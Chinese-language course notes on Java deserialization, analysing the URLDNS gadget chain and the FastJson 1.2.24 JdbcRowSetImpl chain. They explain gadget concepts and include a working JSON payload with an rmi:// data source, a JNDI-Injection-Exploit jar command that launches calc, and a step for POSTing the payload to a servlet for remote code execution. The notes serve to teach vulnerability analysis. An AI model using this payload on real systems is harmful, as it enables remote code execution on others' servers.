#知识点
1、安全开发-JavaEE-原生序列化-URLDNS链分析
2、安全开发-JavaEE-FastJson-JdbcRowSetImpl链分析

一、利用链
利用链也叫"gadget chains",我们通常称为gadget:
1、共同条件:实现Serializable或者Externalizable接口,最好是jdk自带或者JAVA常用组件里有
2、入口类source:(重写readObject 调用常见函数 参数类型宽泛 最好jdk自带)
3、调用链gadget chain:相同方法名、相同类型
4、执行类sink:RCE SSRF 写文件等等
二、原生反序列化及URLDNS链分析(JDK自带链)
1、核心:java.util.HashMap实现了Serializable接口满足条件后,通过HashMap里面的hash到key.hashCode(),key的转变URL类,再到hashCode为-1触发URLStreamHandler.hashCode(理解如下链路即可),
从文件HashMap.java->实例化HashMap对象(将把此对象进行序列化)->发现该文件里面有readObject()存在反序列化的可能
HashMap->readObject
HashMap->putVal(put)(
HashMap->hash
key.hashCode->
URL.hashCode->
handler.hashCode->
URLStreamHandler.getHostAddress
2、写利用链:
参考:https://mp.weixin.qq.com/s/R3c5538ZML2yCF9pYUky6g

搞清楚入口类,需要修改的值,需要传递的值,
创建一个HashMap泛型,(后续操作URL类即int类型值)
在创建一个url连接,(将要请求的地址写入对应代码的U)
用put方法把url数据存放到里面,触发putVal(hash(key)
其中hash里面会调用key.hashCode()
最终触发点是key,所以我们就需要给key的类型设置成URL类,
通过逻辑让hashCode的值为-1后调用handler.hashCode即URLStreamHandler.hashCode,最终调用里面的getHostAddress实现
三、FastJson反序列化及JdbcRowSetImp链分析(JDK自带链):
参考:https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w

FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。Fastjson 是一个 Java 库,提供了Java 对象与 JSON 相互转换。
<dependency> //pom.xml文件中配置fastjson依赖(第三方库)
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
四、应用知识:
1、序列化方法:
JSON.toJSONString(),返回字符串;
JSON.toJSONBytes(),返回byte数组;

2、反序列化方法:
JSON.parseObject(),返回JsonObject;
JSON.parse(),返回Object;
JSON.parseArray(), 返回JSONArray;
将JSON对象转换为java对象:JSON.toJavaObject();
将JSON对象写入write流:JSON.writeJSONString();
3、常用:
JSON.toJSONString(),JSON.parse(),JSON.parseObject()

5、使用fastjson引出安全问题:
①前提:"序列化"操作->固定类后:

反序列化使用parse方法->在调用时会调用set方法


反序列化使用parseObject->在调用时会调用set和get方法

②前提:"反序列化"操作->指定类后:
反序列化使用parseObject->在调用时会调用set方法
反序列化使用parse()->则不会调用set方法

6、安全利用链:(理解这条链即可)
JDK自带链-JdbcRowSetImpl:
①以下为设置信任远程服务器加载的对象
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
②String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + //固定类的反序列化对象
"\"dataSourceName\":\"rmi://xx.xx.xx.xx/xxxx\", " + //改动的成员变量dataSourceName
"\"autoCommit\":true" + //改动的成员变量 autoCommit
"}";
JSON.parse(payload); ->用parse()进行反序列化操作->会调用反序列化对象的set方法(关键点)
③利用链寻找
反序列化对象:com.sun.rowset.JdbcRowSetImpl
改动的成员变量:dataSourceName autoCommit
分析用parse()进行反序列化操作->调用反序列化对象的两个set方法
setdataSourceName->getdataSourceName
setautoCommit->connect->DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
由于"\"dataSourceName\":\"rmi://xx.xx.xx.xx/xxxx\", "《=》this.getDataSourceName()触发以下注入
④RMI注入:触发RCE
DataSource var2 = (DataSource)var1.lookup("rmi://192.168.1.2:1099/jvelrl");
工具生成rmi:

在代码中替换rmi

运行代码RCE成功

var1.lookup RMI协议远程调用(引出下节课将讲到)
autoCommit->setAutoCommit->
this.connect()->var1.lookup(this.getDataSourceName());
生成RMI恶意调用类:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
实战:
servlet启动网站post传递参数json={.........payload.........};

rce利用

总结:
1、理解URLDNS链分析,fastjson引出安全问题的链分析,从突破口一直追踪到具体的利用方法
2、fastjson中的parse与parseobject两种反序列化方法,会调用序列化对象中存在的set或get方法,具体看是否固定类->是产生与分析安全漏洞利用链的关键